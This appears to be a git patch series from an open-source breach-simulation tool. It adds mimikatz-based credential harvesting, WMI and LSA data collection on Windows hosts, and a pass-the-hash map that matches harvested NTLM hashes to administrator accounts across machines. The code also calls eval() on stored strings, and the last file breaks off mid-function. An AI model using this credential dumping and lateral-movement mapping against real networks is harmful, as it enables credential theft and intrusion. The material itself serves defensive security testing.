From 6ed94293db91953709caa8ee2e6fb459350dfc26 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 26 Feb 2018 18:26:43 +0200 Subject: [PATCH 001/183] add intial version of extended info --- infection_monkey/requirements.txt | 1 + .../system_info/windows_info_collector.py | 82 ++++++++++++++++++- 2 files changed, 80 insertions(+), 3 deletions(-) diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 2c96e311c..3ab1c230a 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ ecdsa netifaces mock nose +wmi \ No newline at end of file diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 72e189f81..1a6bd1542 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -1,12 +1,26 @@ +import os import logging +import traceback -from mimikatz_collector import MimikatzCollector +import _winreg +from wmi import WMI +#from mimikatz_collector import MimikatzCollector from . import InfoCollector LOG = logging.getLogger(__name__) __author__ = 'uri' +WMI_CLASSES = set(["Win32_OperatingSystem", + "Win32_ComputerSystem", + "Win32_GroupUser", + "Win32_LoggedOnUser", + "Win32_UserProfile", + "win32_UserAccount", + "Win32_Process", + "Win32_Product", + "Win32_Service"]) + class WindowsInfoCollector(InfoCollector): """ @@ -15,6 +29,7 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() + self.wmi = None def get_info(self): """ @@ -27,6 +42,67 @@ class WindowsInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() - mimikatz_collector = MimikatzCollector() - self.info["credentials"] = mimikatz_collector.get_logon_info() + + self.get_wmi_info() + self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") + self.get_installed_packages() + + #mimikatz_collector = MimikatzCollector() + #self.info["credentials"] = mimikatz_collector.get_logon_info() + return self.info + + def get_installed_packages(self): + self.info["installed_packages"] = os.popen("dism /online /get-packages").read() + self.info["installed_features"] = os.popen("dism /online /get-features").read() + + def get_wmi_info(self): + for wmi_class_name in WMI_CLASSES: + self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) + + def get_wmi_class(self, class_name): + if not self.wmi: + self.wmi = WMI() + + try: + wmi_class = getattr(self.wmi, class_name)() + except: + LOG.error("Error getting wmi class '%s'" % (class_name, )) + LOG.error(traceback.format_exc()) + return + + result = [] + + for item in wmi_class: + row = {} + + for prop in item.properties: + value = getattr(item, prop) + row[prop] = value + + for method_name in item.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(item, method_name) + + try: + row[method_name[3:]] = method() + + except: + LOG.error("Error running wmi method '%s'" % (method_name, )) + LOG.error(traceback.format_exc()) + continue + + result.append(row) + + return result + + def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): + key = _winreg.ConnectRegistry(None, store) + subkey = _winreg.OpenKey(key, subkey_path) + + self.info[subkey_path] = [_winreg.EnumValue(subkey, i) for i in xrange(_winreg.QueryInfoKey(subkey)[0])] + + subkey.Close() + key.Close() \ No newline at end of file From 9c7ead8ddb42bc508c0584a0f366ed31dd525ea4 Mon Sep 17 00:00:00 2001 From: Date: Tue, 27 Feb 2018 06:42:11 -0800 Subject: [PATCH 002/183] add getTextualOutput interface of mimikatz dll --- infection_monkey/system_info/mimikatz_collector.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index e69bcd73e..d7e3cb387 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -21,8 +21,10 @@ class MimikatzCollector(object): self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) + getTextOutput = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) + self._getTextOutput = getTextOutput(("getTextOutput", self._dll)) self._isInit = True except StandardError: LOG.exception("Error initializing mimikatz collector") @@ -41,6 +43,8 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() + + self.mimikatz_text = self._getTextOutput() for i in range(entry_count): entry = self._get() @@ -74,6 +78,9 @@ class MimikatzCollector(object): except StandardError: LOG.exception("Error getting logon info") return {} + + def get_mimikatz_text(self): + return self.mimikatz_text class LogonData(ctypes.Structure): """ From 805c7ad38aa935f4881364f61eace44273e391b0 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 27 Feb 2018 06:43:40 -0800 Subject: [PATCH 003/183] add info draft --- .../system_info/windows_info_collector.py | 114 ++++++++++++------ 1 file changed, 75 insertions(+), 39 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 1a6bd1542..58ce22bc5 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -2,9 +2,12 @@ import os import logging import traceback +import sys +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +import wmi import _winreg -from wmi import WMI -#from mimikatz_collector import MimikatzCollector + +from mimikatz_collector import MimikatzCollector from . import InfoCollector LOG = logging.getLogger(__name__) @@ -17,10 +20,59 @@ WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_LoggedOnUser", "Win32_UserProfile", "win32_UserAccount", - "Win32_Process", - "Win32_Product", - "Win32_Service"]) + #"Win32_Process", + #"Win32_Product", + #"Win32_Service" + ]) +def fix_obj_for_mongo(o): + if type(o) == dict: + return dict([(k, fix_obj_for_mongo(v)) for k, v in o.iteritems()]) + + elif type(o) in (list, tuple): + return [fix_obj_for_mongo(i) for i in o] + + elif type(o) in (int, float, bool): + return o + + elif type(o) in (str, unicode): + # mongo dosn't like unprintable chars, so we use repr :/ + return repr(o) + + + + else: + return repr(o) + +""" +def fix_wmi_obj_for_mongo(o): + for item in wmi_class: + row = {} + + for prop in item.properties: + try: + value = getattr(item, prop) + except wmi.x_wmi: + continue + + row[prop] = value + + for method_name in item.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(item, method_name) + + try: + row[method_name[3:]] = method() + + except wmi.x_wmi: + #LOG.error("Error running wmi method '%s'" % (method_name, )) + #LOG.error(traceback.format_exc()) + continue + + result.append(row) +""" class WindowsInfoCollector(InfoCollector): """ @@ -47,8 +99,9 @@ class WindowsInfoCollector(InfoCollector): self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() - #mimikatz_collector = MimikatzCollector() - #self.info["credentials"] = mimikatz_collector.get_logon_info() + mimikatz_collector = MimikatzCollector() + self.info["credentials"] = mimikatz_collector.get_logon_info() + self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() return self.info @@ -58,51 +111,34 @@ class WindowsInfoCollector(InfoCollector): def get_wmi_info(self): for wmi_class_name in WMI_CLASSES: - self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) + self.info[wmi_class_name] = fix_obj_for_mongo(self.get_wmi_class(wmi_class_name)) def get_wmi_class(self, class_name): if not self.wmi: - self.wmi = WMI() + self.wmi = wmi.WMI() try: wmi_class = getattr(self.wmi, class_name)() - except: - LOG.error("Error getting wmi class '%s'" % (class_name, )) - LOG.error(traceback.format_exc()) + except wmi.x_wmi: + #LOG.error("Error getting wmi class '%s'" % (class_name, )) + #LOG.error(traceback.format_exc()) return - result = [] - - for item in wmi_class: - row = {} - - for prop in item.properties: - value = getattr(item, prop) - row[prop] = value - - for method_name in item.methods: - if not method_name.startswith("GetOwner"): - continue - - method = getattr(item, method_name) - - try: - row[method_name[3:]] = method() - - except: - LOG.error("Error running wmi method '%s'" % (method_name, )) - LOG.error(traceback.format_exc()) - continue - - result.append(row) - - return result + print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" + print type(wmi_class) + print "@" * 20 + os._exit(1) + + return wmi_class def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): key = _winreg.ConnectRegistry(None, store) subkey = _winreg.OpenKey(key, subkey_path) - self.info[subkey_path] = [_winreg.EnumValue(subkey, i) for i in xrange(_winreg.QueryInfoKey(subkey)[0])] + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = fix_obj_for_mongo(d) + + self.info[subkey_path] = d subkey.Close() key.Close() \ No newline at end of file From 020c6398cdea1220cfc465134ce035eb130f6252 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 27 Feb 2018 07:38:54 -0800 Subject: [PATCH 004/183] all info works --- .../system_info/windows_info_collector.py | 63 +++++++++---------- 1 file changed, 29 insertions(+), 34 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 58ce22bc5..1fe15fe67 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -20,9 +20,9 @@ WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_LoggedOnUser", "Win32_UserProfile", "win32_UserAccount", - #"Win32_Process", - #"Win32_Product", - #"Win32_Service" + "Win32_Product", + "Win32_Process", + "Win32_Service" ]) def fix_obj_for_mongo(o): @@ -39,40 +39,40 @@ def fix_obj_for_mongo(o): # mongo dosn't like unprintable chars, so we use repr :/ return repr(o) - + elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: + return fix_wmi_obj_for_mongo(o) else: return repr(o) -""" def fix_wmi_obj_for_mongo(o): - for item in wmi_class: - row = {} - - for prop in item.properties: - try: - value = getattr(item, prop) - except wmi.x_wmi: - continue + row = {} - row[prop] = value + for prop in o.properties: + try: + value = getattr(o, prop) + except wmi.x_wmi: + continue - for method_name in item.methods: - if not method_name.startswith("GetOwner"): - continue + row[prop] = fix_obj_for_mongo(value) - method = getattr(item, method_name) + for method_name in o.methods: + if not method_name.startswith("GetOwner"): + continue - try: - row[method_name[3:]] = method() - - except wmi.x_wmi: - #LOG.error("Error running wmi method '%s'" % (method_name, )) - #LOG.error(traceback.format_exc()) - continue + method = getattr(o, method_name) - result.append(row) -""" + try: + value = method() + value = fix_obj_for_mongo(value) + row[method_name[3:]] = value + + except wmi.x_wmi: + #LOG.error("Error running wmi method '%s'" % (method_name, )) + #LOG.error(traceback.format_exc()) + continue + + return row class WindowsInfoCollector(InfoCollector): """ @@ -111,7 +111,7 @@ class WindowsInfoCollector(InfoCollector): def get_wmi_info(self): for wmi_class_name in WMI_CLASSES: - self.info[wmi_class_name] = fix_obj_for_mongo(self.get_wmi_class(wmi_class_name)) + self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) def get_wmi_class(self, class_name): if not self.wmi: @@ -124,12 +124,7 @@ class WindowsInfoCollector(InfoCollector): #LOG.error(traceback.format_exc()) return - print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" - print type(wmi_class) - print "@" * 20 - os._exit(1) - - return wmi_class + return fix_obj_for_mongo(wmi_class) def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): key = _winreg.ConnectRegistry(None, store) From 833df8d6d4dcdac3921c7b7a785290124843b0db Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 28 Feb 2018 04:53:02 -0800 Subject: [PATCH 005/183] fix wmi table names --- .../system_info/windows_info_collector.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 1fe15fe67..9b5e12d7f 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -16,13 +16,14 @@ __author__ = 'uri' WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_ComputerSystem", - "Win32_GroupUser", "Win32_LoggedOnUser", + "Win32_UserAccount", "Win32_UserProfile", - "win32_UserAccount", - "Win32_Product", - "Win32_Process", - "Win32_Service" + "Win32_Group", + "Win32_GroupUser", + #"Win32_Product", + #"Win32_Process", + #"Win32_Service" ]) def fix_obj_for_mongo(o): From 2013e706e59b771b12adac3f606ca47d1e2a1d1f Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 28 Feb 2018 08:48:21 -0800 Subject: [PATCH 006/183] add intial draft for analyses script for pth map --- monkey_island/mymap.py | 190 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 monkey_island/mymap.py diff --git a/monkey_island/mymap.py b/monkey_island/mymap.py new file mode 100644 index 000000000..106ba95e3 --- /dev/null +++ b/monkey_island/mymap.py @@ -0,0 +1,190 @@ +from pymongo import MongoClient +db = MongoClient().monkeyisland + +DsRole_RoleStandaloneWorkstation = 0 +DsRole_RoleMemberWorkstation = 1 +DsRole_RoleStandaloneServer = 2 +DsRole_RoleMemberServer = 3 +DsRole_RoleBackupDomainController = 4 +DsRole_RolePrimaryDomainController = 5 + +class Machine(object): + def __init__(self, monkey_guid): + self.monkey_guid = str(monkey_guid) + + def GetHostName(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetDomainName(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Domain"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetDomainRole(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + roles = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + roles.add(comp["DomainRole"]) + + if len(roles) == 1: + return roles.pop() + + return None + + def GetSidByUsername(self, username): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) + + SIDs = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["Name"]) != username: + continue + + SIDs.add(eval(user["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsernameBySid(self, sid): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.SID":"u'%s'" % (sid,)}) + + names = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SID"]) != sid: + continue + + names.add(eval(user["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetGroupSidByGroupName(self, group_name): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_Group.Name":"u'%s'" % (group_name,)}) + SIDs = set() + + for doc in cur: + for group in doc["data"]["Win32_Group"]: + if eval(group["Name"]) != group_name: + continue + + SIDs.add(eval(group["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsersByGroupSid(self, sid): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) + + SIDs = set() + + for doc in cur: + for group_user in doc["data"]["Win32_GroupUser"]: + if eval(group_user["GroupComponent"]["SID"]) != sid: + continue + + SIDs.add(eval(group_user["PartComponent"]["SID"])) + + return SIDs + + def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): + cur = db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) + + GUIDs = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + if ((comp["DomainRole"] != DsRole_RolePrimaryDomainController) and + (comp["DomainRole"] != DsRole_RoleBackupDomainController)): + continue + + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GetLocalAdmins(self): + return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) + + def GetDomainAdminsOfMachine(self): + domain_name = self.GetDomainName() + DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) + + domain_admins = set() + + for dc_monkey_guid in DCs: + domain_admins += Machine(dc_monkey_guid).GetLocalAdmins() + + return domain_admins + + def GetAdmins(self): + return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + + def GetCachedSids(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(self.GetSidByUsername(username)) + + return SIDs + +def GetAllMachines(): + cur = db.telemetry.find({"telem_type":"system_info_collection"}) + + GUIDs = set() + + for doc in cur: + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + +vertices = GetAllMachines() +edges = set() + +for attacker in vertices: + cached = Machine(attacker).GetCachedSids() + + for victim in vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdmins() + + if len(cached & admins) > 0: + edges.add((attacker, victim)) + +print vertices +print edges \ No newline at end of file From dd0b73519c80b70f2f5ac5e03fc7012437c42f5a Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 03:54:41 -0800 Subject: [PATCH 007/183] use the collected sam info --- monkey_island/mymap.py | 200 ++++++++++++++++++++++++++++++++++------- 1 file changed, 170 insertions(+), 30 deletions(-) diff --git a/monkey_island/mymap.py b/monkey_island/mymap.py index 106ba95e3..08973cd46 100644 --- a/monkey_island/mymap.py +++ b/monkey_island/mymap.py @@ -1,3 +1,5 @@ +import hashlib +import binascii from pymongo import MongoClient db = MongoClient().monkeyisland @@ -8,10 +10,27 @@ DsRole_RoleMemberServer = 3 DsRole_RoleBackupDomainController = 4 DsRole_RolePrimaryDomainController = 5 +def myntlm(x): + hash = hashlib.new('md4', x.encode('utf-16le')).digest() + return str(binascii.hexlify(hash)) + class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) + def GetMimikatzOutput(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + output = set() + + for doc in cur: + output.add(doc["data"]["mimikatz"]) + + if len(output) == 1: + return output.pop() + + return None + def GetHostName(self): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -26,6 +45,17 @@ class Machine(object): return None + def GetIp(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for addr in doc["data"]["network_info"]["networks"]: + return str(addr["addr"]) + + return None + def GetDomainName(self): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -107,16 +137,19 @@ class Machine(object): def GetUsersByGroupSid(self, sid): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) - SIDs = set() + users = dict() for doc in cur: for group_user in doc["data"]["Win32_GroupUser"]: if eval(group_user["GroupComponent"]["SID"]) != sid: continue + + if "PartComponent" not in group_user.keys(): + continue - SIDs.add(eval(group_user["PartComponent"]["SID"])) + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) - return SIDs + return users def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): cur = db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) @@ -134,7 +167,47 @@ class Machine(object): return GUIDs def GetLocalAdmins(self): - return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) + return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys() + + def GetLocalAdminNames(self): + return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values() + + def GetLocalAdminSecrets(self): + admin_names = self.GetLocalAdminNames() + sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] + + admin_secrets = set() + + for sam_user_txt in sam_users: + sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + + if sam_user["User"] not in admin_names: + continue + + admin_secrets.add(sam_user["NTLM"].replace("[hashed secret]", "").strip()) + + return admin_secrets + + def GetCachedSecrets(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + secrets = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + user = doc["data"]["credentials"][username] + + if "password" in user.keys(): + ntlm = myntlm(str(user["password"])) + elif "ntlm_hash" in user.keys(): + ntlm = str(user["ntlm_hash"]) + else: + continue + + secret = hashlib.md5(ntlm.decode("hex")).hexdigest() + secrets.add(secret) + + return secrets def GetDomainAdminsOfMachine(self): domain_name = self.GetDomainName() @@ -143,13 +216,16 @@ class Machine(object): domain_admins = set() for dc_monkey_guid in DCs: - domain_admins += Machine(dc_monkey_guid).GetLocalAdmins() + domain_admins |= Machine(dc_monkey_guid).GetLocalAdmins() return domain_admins def GetAdmins(self): return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + def GetAdminNames(self): + return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) + def GetCachedSids(self): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -161,30 +237,94 @@ class Machine(object): return SIDs -def GetAllMachines(): - cur = db.telemetry.find({"telem_type":"system_info_collection"}) - - GUIDs = set() - - for doc in cur: - GUIDs.add(doc["monkey_guid"]) - - return GUIDs - -vertices = GetAllMachines() -edges = set() - -for attacker in vertices: - cached = Machine(attacker).GetCachedSids() - - for victim in vertices: - if attacker == victim: - continue - - admins = Machine(victim).GetAdmins() + def GetCachedUsernames(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) - if len(cached & admins) > 0: - edges.add((attacker, victim)) + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(username) + + return SIDs -print vertices -print edges \ No newline at end of file +class PassTheHashMap(object): + def __init__(self): + self.vertices = self.GetAllMachines() + self.edges = set() + + self.GenerateEdgesBySid() # Useful for non-cached domain users + self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username + + def GetAllMachines(self): + cur = db.telemetry.find({"telem_type":"system_info_collection"}) + + GUIDs = set() + + for doc in cur: + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GenerateEdgesBySid(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSids() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdmins() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesBySamHash(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSecrets() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetLocalAdminSecrets() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesByUsername(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedUsernames() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdminNames() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def Print(self): + print map(lambda x: Machine(x).GetIp(), self.vertices) + print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + +PassTheHashMap().Print() + +#monkey_guid_island = 345051728334 +#monkey_guid_c = 345051740363 +#monkey_guid_d = 345051735830 +# +#island = Machine(monkey_guid_island) +#c = Machine(monkey_guid_c) +#d = Machine(monkey_guid_d) +# +#assert str(island.GetIp()).endswith(".5") +#assert str(c.GetIp()).endswith(".203") +#assert str(d.GetIp()).endswith(".204") + +#print "sam", island.GetLocalAdminSecrets() +#print "lsa", island.GetCachedSecrets() + +#print "cached", c.GetCachedSids() +#print "admins", d.GetAdmins() From 6779d4c75812387f8c942764846803a706be510b Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 04:11:15 -0800 Subject: [PATCH 008/183] fix --- monkey_island/mymap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/mymap.py b/monkey_island/mymap.py index 08973cd46..a9854468d 100644 --- a/monkey_island/mymap.py +++ b/monkey_island/mymap.py @@ -167,10 +167,10 @@ class Machine(object): return GUIDs def GetLocalAdmins(self): - return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys() + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) def GetLocalAdminNames(self): - return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values() + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) def GetLocalAdminSecrets(self): admin_names = self.GetLocalAdminNames() From 00fe34d43189d74248a2330af98bd9b8fd7c0adf Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 05:22:34 -0800 Subject: [PATCH 009/183] add pth map to ui --- monkey_island/cc/app.py | 3 + monkey_island/cc/resources/pthmap.py | 327 ++++++++++++++++++ monkey_island/cc/ui/src/components/Main.js | 2 + .../components/pages/PassTheHashMapPage.js | 58 ++++ 4 files changed, 390 insertions(+) create mode 100644 monkey_island/cc/resources/pthmap.py create mode 100644 monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 4733d5089..b6d680a87 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -17,6 +17,7 @@ from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap +from cc.resources.pthmap import PthMap from cc.resources.node import Node from cc.resources.report import Report from cc.resources.root import Root @@ -101,5 +102,7 @@ def init_app(mongo_url): api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') + + api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') return app diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py new file mode 100644 index 000000000..b027991ee --- /dev/null +++ b/monkey_island/cc/resources/pthmap.py @@ -0,0 +1,327 @@ +import flask_restful + +from cc.auth import jwt_required +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.database import mongo + +import hashlib +import binascii +from pymongo import MongoClient + +class PthMap(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + graph = PassTheHashMap() + + return \ + { + "nodes": [{"id": x} for x in graph.vertices], + "edges": [{"id": str(s) + str(t), "from": s, "to": t} for s, t in graph.edges] + } + +DsRole_RoleStandaloneWorkstation = 0 +DsRole_RoleMemberWorkstation = 1 +DsRole_RoleStandaloneServer = 2 +DsRole_RoleMemberServer = 3 +DsRole_RoleBackupDomainController = 4 +DsRole_RolePrimaryDomainController = 5 + +def myntlm(x): + hash = hashlib.new('md4', x.encode('utf-16le')).digest() + return str(binascii.hexlify(hash)) + +class Machine(object): + def __init__(self, monkey_guid): + self.monkey_guid = str(monkey_guid) + + def GetMimikatzOutput(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + output = set() + + for doc in cur: + output.add(doc["data"]["mimikatz"]) + + if len(output) == 1: + return output.pop() + + return None + + def GetHostName(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetIp(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for addr in doc["data"]["network_info"]["networks"]: + return str(addr["addr"]) + + return None + + def GetDomainName(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Domain"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetDomainRole(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + roles = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + roles.add(comp["DomainRole"]) + + if len(roles) == 1: + return roles.pop() + + return None + + def GetSidByUsername(self, username): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) + + SIDs = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["Name"]) != username: + continue + + SIDs.add(eval(user["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsernameBySid(self, sid): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.SID":"u'%s'" % (sid,)}) + + names = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SID"]) != sid: + continue + + names.add(eval(user["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetGroupSidByGroupName(self, group_name): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_Group.Name":"u'%s'" % (group_name,)}) + SIDs = set() + + for doc in cur: + for group in 